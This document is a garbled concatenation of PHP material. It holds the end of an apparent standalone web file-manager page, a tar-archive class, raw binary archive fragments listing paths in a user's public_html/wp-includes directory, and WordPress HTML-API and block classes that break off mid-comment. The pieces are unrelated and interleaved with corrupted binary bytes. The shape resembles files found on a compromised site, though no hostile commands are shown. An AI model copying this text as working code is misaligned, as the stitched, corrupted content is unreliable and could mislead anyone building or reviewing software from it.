	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKYO\�i���/10/class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKYO\Գ�$$310/class-wp-html-active-formatting-elements.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-active-formatting-elements.php000064400000016140151440304300026200 0ustar00<?php
/**
 * HTML API: WP_HTML_Active_Formatting_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of active formatting elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the list of active formatting elements is empty.
 * > It is used to handle mis-nested formatting element tags.
 * >
 * > The list contains elements in the formatting category, and markers.
 * > The markers are inserted when entering applet, object, marquee,
 * > template, td, th, and caption elements, and are used to prevent
 * > formatting from "leaking" into applet, object, marquee, template,
 * > td, th, and caption elements.
 * >
 * > In addition, each element in the list of active formatting elements
 * > is associated with the token for which it was created, so that
 * > further elements can be created for that token if necessary.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Active_Formatting_Elements {
	/**
	 * Holds the stack of active formatting element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	private $stack = array();

	/**
	 * Reports if a specific node is in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of active formatting elements.
	 */
	public function contains_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $item ) {
			if ( $token->bookmark_name === $item->bookmark_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of active formatting elements.
	 */
	public function count() {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of active formatting elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of active formatting elements, if one exists, otherwise null.
	 */
	public function current_node() {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Inserts a "marker" at the end of the list of active formatting elements.
	 *
	 * > The markers are inserted when entering applet, object, marquee,
	 * > template, td, th, and caption elements, and are used to prevent
	 * > formatting from "leaking" into applet, object, marquee, template,
	 * > td, th, and caption elements.
	 *
	 * @see https://html.spec.whatwg.org/#concept-parser-marker
	 *
	 * @since 6.7.0
	 */
	public function insert_marker(): void {
		$this->push( new WP_HTML_Token( null, 'marker', false ) );
	}

	/**
	 * Pushes a node onto the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#push-onto-the-list-of-active-formatting-elements
	 *
	 * @param WP_HTML_Token $token Push this node onto the stack.
	 */
	public function push( WP_HTML_Token $token ) {
		/*
		 * > If there are already three elements in the list of active formatting elements after the last marker,
		 * > if any, or anywhere in the list if there are no markers, that have the same tag name, namespace, and
		 * > attributes as element, then remove the earliest such element from the list of active formatting
		 * > elements. For these purposes, the attributes must be compared as they were when the elements were
		 * > created by the parser; two elements have the same attributes if all their parsed attributes can be
		 * > paired such that the two attributes in each pair have identical names, namespaces, and values
		 * > (the order of the attributes does not matter).
		 *
		 * @todo Implement the "Noah's Ark clause" to only add up to three of any given kind of formatting elements to the stack.
		 */
		// > Add element to the list of active formatting elements.
		$this->stack[] = $token;
	}

	/**
	 * Removes a node from the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Remove this node from the stack, if it's there already.
	 * @return bool Whether the node was found and removed from the stack of active formatting elements.
	 */
	public function remove_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			return true;
		}

		return false;
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * top element (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Active_Formatting_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * bottom element (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Active_Formatting_Elements::walk_down().
	 *
	 * @since 6.4.0
	 */
	public function walk_up() {
		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Clears the list of active formatting elements up to the last marker.
	 *
	 * > When the steps below require the UA to clear the list of active formatting elements up to
	 * > the last marker, the UA must perform the following steps:
	 * >
	 * > 1. Let entry be the last (most recently added) entry in the list of active
	 * >    formatting elements.
	 * > 2. Remove entry from the list of active formatting elements.
	 * > 3. If entry was a marker, then stop the algorithm at this point.
	 * >    The list has been cleared up to the last marker.
	 * > 4. Go to step 1.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-list-of-active-formatting-elements-up-to-the-last-marker
	 *
	 * @since 6.7.0
	 */
	public function clear_up_to_last_marker(): void {
		foreach ( $this->walk_up() as $item ) {
			array_pop( $this->stack );
			if ( 'marker' === $item->node_name ) {
				break;
			}
		}
	}
}
PKYO\���hh10/class-wp-block.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-block.php000064400000060354151442544130017377 0ustar00<?php
/**
 * Blocks API: WP_Block class
 *
 * @package WordPress
 * @since 5.5.0
 */

/**
 * Class representing a parsed instance of a block.
 *
 * @since 5.5.0
 * @property array $attributes
 */
#[AllowDynamicProperties]
class WP_Block {

	/**
	 * Original parsed array representation of block.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $parsed_block;

	/**
	 * Name of block.
	 *
	 * @example "core/paragraph"
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $name;

	/**
	 * Block type associated with the instance.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type
	 */
	public $block_type;

	/**
	 * Block context values.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $context = array();

	/**
	 * All available context of the current hierarchy.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	protected $available_context = array();

	/**
	 * Block type registry.
	 *
	 * @since 5.9.0
	 * @var WP_Block_Type_Registry
	 */
	protected $registry;

	/**
	 * List of inner blocks (of this same class)
	 *
	 * @since 5.5.0
	 * @var WP_Block_List
	 */
	public $inner_blocks = array();

	/**
	 * Resultant HTML from inside block comment delimiters after removing inner
	 * blocks.
	 *
	 * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..."
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $inner_html = '';

	/**
	 * List of string fragments and null markers where inner blocks were found
	 *
	 * @example array(
	 *   'inner_html'    => 'BeforeInnerAfter',
	 *   'inner_blocks'  => array( block, block ),
	 *   'inner_content' => array( 'Before', null, 'Inner', null, 'After' ),
	 * )
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $inner_content = array();

	/**
	 * Constructor.
	 *
	 * Populates object properties from the provided block instance argument.
	 *
	 * The given array of context values will not necessarily be available on
	 * the instance itself, but is treated as the full set of values provided by
	 * the block's ancestry. This is assigned to the private `available_context`
	 * property. Only values which are configured to consumed by the block via
	 * its registered type will be assigned to the block's `context` property.
	 *
	 * @since 5.5.0
	 *
	 * @param array                  $block             {
	 *     An associative array of a single parsed block object. See WP_Block_Parser_Block.
	 *
	 *     @type string|null $blockName    Name of block.
	 *     @type array       $attrs        Attributes from block comment delimiters.
	 *     @type array       $innerBlocks  List of inner blocks. An array of arrays that
	 *                                     have the same structure as this one.
	 *     @type string      $innerHTML    HTML from inside block comment delimiters.
	 *     @type array       $innerContent List of string fragments and null markers where inner blocks were found.
	 * }
	 * @param array                  $available_context Optional array of ancestry context values.
	 * @param WP_Block_Type_Registry $registry          Optional block type registry.
	 */
	public function __construct( $block, $available_context = array(), $registry = null ) {
		$this->parsed_block = $block;
		$this->name         = $block['blockName'];

		if ( is_null( $registry ) ) {
			$registry = WP_Block_Type_Registry::get_instance();
		}

		$this->registry = $registry;

		$this->block_type = $registry->get_registered( $this->name );

		$this->available_context = $available_context;

		$this->refresh_context_dependents();
	}

	/**
	 * Updates the context for the current block and its inner blocks.
	 *
	 * The method updates the context of inner blocks, if any, by passing down
	 * any context values the block provides (`provides_context`).
	 *
	 * If the block has inner blocks, the method recursively processes them by creating new instances of `WP_Block`
	 * for each inner block and updating their context based on the block's `provides_context` property.
	 *
	 * @since 6.8.0
	 */
	public function refresh_context_dependents() {
		/*
		 * Merging the `$context` property here is not ideal, but for now needs to happen because of backward compatibility.
		 * Ideally, the `$context` property itself would not be filterable directly and only the `$available_context` would be filterable.
		 * However, this needs to be separately explored whether it's possible without breakage.
		 */
		$this->available_context = array_merge( $this->available_context, $this->context );

		if ( ! empty( $this->block_type->uses_context ) ) {
			foreach ( $this->block_type->uses_context as $context_name ) {
				if ( array_key_exists( $context_name, $this->available_context ) ) {
					$this->context[ $context_name ] = $this->available_context[ $context_name ];
				}
			}
		}

		$this->refresh_parsed_block_dependents();
	}

	/**
	 * Updates the parsed block content for the current block and its inner blocks.
	 *
	 * This method sets the `inner_html` and `inner_content` properties of the block based on the parsed
	 * block content provided during initialization. It ensures that the block instance reflects the
	 * most up-to-date content for both the inner HTML and any string fragments around inner blocks.
	 *
	 * If the block has inner blocks, this method initializes a new `WP_Block_List` for them, ensuring the
	 * correct content and context are updated for each nested block.
	 *
	 * @since 6.8.0
	 */
	public function refresh_parsed_block_dependents() {
		if ( ! empty( $this->parsed_block['innerBlocks'] ) ) {
			$child_context = $this->available_context;

			if ( ! empty( $this->block_type->provides_context ) ) {
				foreach ( $this->block_type->provides_context as $context_name => $attribute_name ) {
					if ( array_key_exists( $attribute_name, $this->attributes ) ) {
						$child_context[ $context_name ] = $this->attributes[ $attribute_name ];
					}
				}
			}

			$this->inner_blocks = new WP_Block_List( $this->parsed_block['innerBlocks'], $child_context, $this->registry );
		}

		if ( ! empty( $this->parsed_block['innerHTML'] ) ) {
			$this->inner_html = $this->parsed_block['innerHTML'];
		}

		if ( ! empty( $this->parsed_block['innerContent'] ) ) {
			$this->inner_content = $this->parsed_block['innerContent'];
		}
	}

	/**
	 * Returns a value from an inaccessible property.
	 *
	 * This is used to lazily initialize the `attributes` property of a block,
	 * such that it is only prepared with default attributes at the time that
	 * the property is accessed. For all other inaccessible properties, a `null`
	 * value is returned.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Property name.
	 * @return array|null Prepared attributes, or null.
	 */
	public function __get( $name ) {
		if ( 'attributes' === $name ) {
			$this->attributes = isset( $this->parsed_block['attrs'] ) ?
				$this->parsed_block['attrs'] :
				array();

			if ( ! is_null( $this->block_type ) ) {
				$this->attributes = $this->block_type->prepare_attributes_for_render( $this->attributes );
			}

			return $this->attributes;
		}

		return null;
	}

	/**
	 * Processes the block bindings and updates the block attributes with the values from the sources.
	 *
	 * A block might contain bindings in its attributes. Bindings are mappings
	 * between an attribute of the block and a source. A "source" is a function
	 * registered with `register_block_bindings_source()` that defines how to
	 * retrieve a value from outside the block, e.g. from post meta.
	 *
	 * This function will process those bindings and update the block's attributes
	 * with the values coming from the bindings.
	 *
	 * ### Example
	 *
	 * The "bindings" property for an Image block might look like this:
	 *
